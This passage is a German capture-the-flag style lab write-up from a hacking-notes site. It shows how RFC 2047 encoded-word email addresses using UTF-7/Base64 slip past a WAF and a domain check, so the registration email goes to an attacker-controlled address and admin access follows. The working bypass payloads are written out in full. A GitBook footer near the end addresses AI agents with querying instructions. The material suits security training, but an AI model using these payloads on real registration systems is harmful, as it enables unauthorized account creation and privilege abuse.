> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md).

# Umgehung von Zugriffskontrollen durch inkonsistente Verarbeitung von E-Mail-Adressen

### Umgehung von Zugriffskontrollen durch Nutzung von Diskrepanzen bei der E-Mail-Adress-Analyse

#### Lab-Beschreibung

Dieses Labor implementiert eine E-Mail-Adressvalidierung, um Registrierungen mit nicht autorisierten Domains zu verhindern. / Allerdings gibt es eine Inkonsistenz zwischen der Validierungslogik auf Anwendungsseite und der Bibliothek, die tatsächlich zum Interpretieren von E-Mail-Adressen verwendet wird.

Unter Nutzung dieses Unterschieds in der Analyse ist es möglich, sich mit einer externen E-Mail-Adresse anzumelden, während die Beschränkung auf die autorisierte Domain umgangen wird, und anschließend auf Admin-Funktionen zuzugreifen und Benutzer zu löschen **carlos**.

<figure><img src="/files/3ee497a39d8b9534393feb67216dc404e03cb36b" alt=""><figcaption></figcaption></figure>

#### Registrierungsbeschränkung

Beim Versuch, sich mit einer klassischen Adresse wie folgt zu registrieren:

```
test@jord4n.pro
```

Die Anwendung verweigert die Registrierung und gibt an, dass nur Adressen erlaubt sind, die zu der folgenden Domain gehören:

```
ginandjuice.shop
```

<figure><img src="/files/c1e19f4e9d51a391e382a97833b0fc34be8a87cd" alt=""><figcaption></figcaption></figure>

Eine legitime Registrierung mit dieser Domain löst dann eine Bestätigungs-E-Mail aus:

```
Bitte überprüfen Sie Ihre E-Mails auf Ihren Kontoregistrierungslink
```

<figure><img src="/files/cbc23b641e5f9e173b2f19daca76359bc6f5b26f" alt=""><figcaption></figcaption></figure>

Es ist daher notwendig, diese E-Mail zu empfangen, um die Registrierung abzuschließen.

#### Ursprung der Schwachstelle

<figure><img src="/files/014da1ecb842d9b6d3551113591429604d049c1b" alt=""><figcaption></figcaption></figure>

Der Fehler beruht auf der Verwendung eines **Encoded-word** (RFC 2047), dessen Format wie folgt aussieht:

```bash
=?<charset>?<encoding>?<encoded-text>?=
```

Dieser Mechanismus erlaubt es, bestimmte Teile einer E-Mail-Adresse zu kodieren.

Der Validator der Anwendung lehnt einige Kodierungen ab, während der endgültige E-Mail-Parser sie korrekt interpretiert.

#### Erster Block

Ein einfacher Kodierungsversuch in UTF-8 (Quoted-Printable) wird von der WAF blockiert:

```bash
=?utf-8?q?=61=62=63?=@ginandjuice.shop
```

Antwort

```bash
Registrierung aus Sicherheitsgründen blockiert
```

<figure><img src="/files/a3a02066fedd28e3988da8e96b7bdd4a434d12fa" alt=""><figcaption></figcaption></figure>

#### Umgehungstechnik

Um diese Filterung zu umgehen, **UTF-7-Kodierung mit Base64** verwendet.

Prinzip:

* Ein Zeichen in UTF-16 kodieren

<figure><img src="/files/18e56770150a7930204a22f16913f617757ab5dc" alt=""><figcaption></figcaption></figure>

* Dieses Ergebnis in Base64 umwandeln

<figure><img src="/files/c6c9c398b924746e1b6c5030c47d0e3c32f095f0" alt=""><figcaption></figcaption></figure>

* In einem UTF-7-Encoded-Word verwenden

Beispiel für Zeichenkodierung `eine`:

* UTF-16 → Base64 : `AGE=`

Minimale funktionierende Nutzlast:

```bash
=?utf-7?&AGE-=?=@ginandjuice.shop
```

Dieser Wert wird von der Validierungslogik akzeptiert.

<figure><img src="/files/649277eb3101461040f984917ba81e2b66127a11" alt=""><figcaption></figcaption></figure>

#### Vollständige Durchführung mit einer kontrollierten Adresse

Angreiferadresse:

```bash
attacker@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net
```

Zusammensetzung der Nutzlast:

* `&AEA-` steht für `@`
* `&ACA-` steht für ein Leerzeichen und verhindert eine strikte Interpretation der finalen Domain

<figure><img src="/files/5d9504961ad51a22ec98165fb3d20a565467a4f0" alt=""><figcaption></figcaption></figure>

Verwendete finale Nutzlast bei der Registrierung:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>=?utf-7?q?jordan&#x26;AEA-exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net&#x26;ACA-?=@ginandjuice.shop
</strong></code></pre>

<figure><img src="/files/1ec7ebb02427525fa27e5bcf3ba4079294613677" alt="" width="563"><figcaption></figcaption></figure>

Vom E-Mail-Server tatsächlich interpretierte Adresse:

```bash
jordan@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net @ginandjuice.shop
```

<figure><img src="/files/cdb0c15cb957e06a6a104d2631fbc053c3dedf27" alt=""><figcaption></figcaption></figure>

#### Ergebnis

* Die Anwendung validiert die Adresse, da sie endet mit `@ginandjuice.shop`

<figure><img src="/files/dc2422e84b8d4dc13b986652536acdc476dfcf6c" alt=""><figcaption></figcaption></figure>

* Der E-Mail-Server sendet die E-Mail an die vom Angreifer kontrollierte Adresse
* Bestätigungslink empfangen
* Die Registrierung wird erfolgreich abgeschlossen
* Zugriff auf die Anwendung wird erlangt
* Administrative Aktionen werden möglich, einschließlich des Entfernens eines Benutzers **carlos**

<figure><img src="/files/b262d70369fa5825d072916d8b9c355411de09df" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
